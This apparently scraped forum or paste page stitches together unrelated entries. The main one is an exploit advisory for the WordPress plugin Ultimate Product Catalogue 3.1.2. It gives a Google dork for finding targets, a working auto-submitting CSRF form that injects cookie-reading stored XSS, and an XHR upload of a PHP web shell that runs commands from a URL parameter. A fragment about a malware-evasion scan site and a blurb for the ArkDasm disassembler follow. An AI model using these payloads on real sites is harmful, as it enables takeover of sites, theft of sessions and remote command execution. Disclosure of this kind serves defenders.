  22. # Exploit Title: Multiple Persistent XSS & CSRF & File Upload on Ultimate Product Catalogue 3.1.2 # Google Dork: inurl:"SingleProduct" intext:"Back to catalogue" intext:"Category", inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/" # Date: 22/04/2015 # Exploit Author: Felipe Molina de la Torre (@felmoltor) # Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/ # Software Link: https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip # Version: <= 3.1.2, Comunicated and Fixed by the Vendor in 3.1.5 # Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu) # CVE : N/A # Category: webapps 1. Summary: Ultimate Product Catalogue is a responsive and easily customizable plugin for all your product catalogue needs. It has +63.000 downloads, +4.000 active installations. Product Name and Description and File Upload formulary of plugin Ultimate Product Catalog lacks of proper CSRF protection and proper filtering. Allowing an attacker to alter a product pressented to a customer or the wordpress administrators and insert XSS in his product name and description. It also allows an attacker to upload a php script though a CSRF due to a lack of file type filtering when uploading it. 2. Vulnerability timeline: - 22/04/2015: Identified in version 3.1.2 - 22/04/2015: Comunicated to developer company etoilewebdesign.com - 22/04/2015: Response from etoilewebdesign.com and fixed two SQLi in 3.1.3 but not these vulnerabilities. - 28/04/2015: Fixed version in 3.1.5 without notifying me. 3. Vulnerable code: In file html/ProductPage multiple lines. 3. Proof of concept: https://www.youtube.com/watch?v=roB_ken6U4o ---------------------------------------------------------------------------------------------- ------------- CSRF & XSS in Product Description and Name ----------- ---------------------------------------------------------------------------------------------- <iframe width=0 height=0 style="display:none" name="csrf-frame"></iframe> <form method='POST' action='http:// <web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16' target="csrf-frame" id="csrf-form"> <input type='hidden' name='action' value='Edit_Product'> <input type='hidden' name='_wp_http_referer' value='/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16'/> <input type='hidden' name='Item_Name' value="Product name</a><script>alert('Product Name says: '+document.cookie)</script><a>"/> <input type='hidden' name='Item_Slug' value='asdf'/> <input type='hidden' name='Item_ID' value='16'/> <input type='hidden' name='Item_Image' value=' http://i.imgur.com/6cWKujq.gif'> <input type='hidden' name='Item_Price' value='666'> <input type='hidden' name='Item_Description' value="Product description says<script>alert('Product description says: '+document.cookie)</script>"/> <input type='hidden' name='Item_SEO_Description' value='seo desc'> <input type='hidden' name='Item_Link' value=''> <input type='hidden' name='Item_Display_Status' value='Show'> <input type='hidden' name='Category_ID' value=''> <input type='hidden' name='SubCategory_ID' value=''> <input style="display:none" type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script> ---------------------------------------------------------------------------------------------- -------- CSRF & File Upload in Product Description and Name ------ ---------------------------------------------------------------------------------------------- <html> <body onload="submitRequest();"> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://<web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_AddProductSpreadsheet&DisplayPage=Product", true); xhr.setRequestHeader("Host", "<web>"); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Cache-Control", "max-age=0"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8,es;q=0.6"); xhr.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.37 Safari/537.36"); xhr.setRequestHeader("Accept-Encoding", "gzip, deflate"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarylPTZvbxAcw0q01W3"); var body = "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name=\"Products_Spreadsheet\"; filename=\"cooldog.php\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "<?php\r\n" + "exec($_GET['c'],$output);\r\n" + "foreach ($output as $line) {\r\n" + "echo \"<br/>\".$line;\r\n" + "}\r\n" + "?>\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name='submit'\r\n" + "\r\n" + "Add New Products\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3--\r\n" ; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input style="display:none;" type="submit" value="Up!" onclick="submitRequest();" /> </form> </body> </html> Te file cooldog.php is no available in path http:// <web>/wp-content/plugins/ultimate-product-catalogue/product-sheets/cooldog.php Source
  23. scan info link here : reFUD.me - Results download link here : I hope this link works
  24. ArkDasm ArkDasm is a 64-bit interactive disassembler and debugger for Windows. Supported file types: PE64, raw binary files. Supported processor: x64 architecture (Intel x64 and AMD64) ArkDasm is released as Freeware. Current version: 1.0.0 (April 19, 2015) Main features: parsing PE32+ imports, exports, resources subroutine stack data (arguments, local variables) recognition loading local debug symbols (.pdb file) using DIA multiline comments support bookmarks support python script support possibility to save, load database What's new: added debugger capabilities added new commands: bp, ba switched to the Capstone disasm engine updated Qt to 5.4.0 switched to Visual Studio 2013 minor improvements, bug fixes Link: ArkDasm
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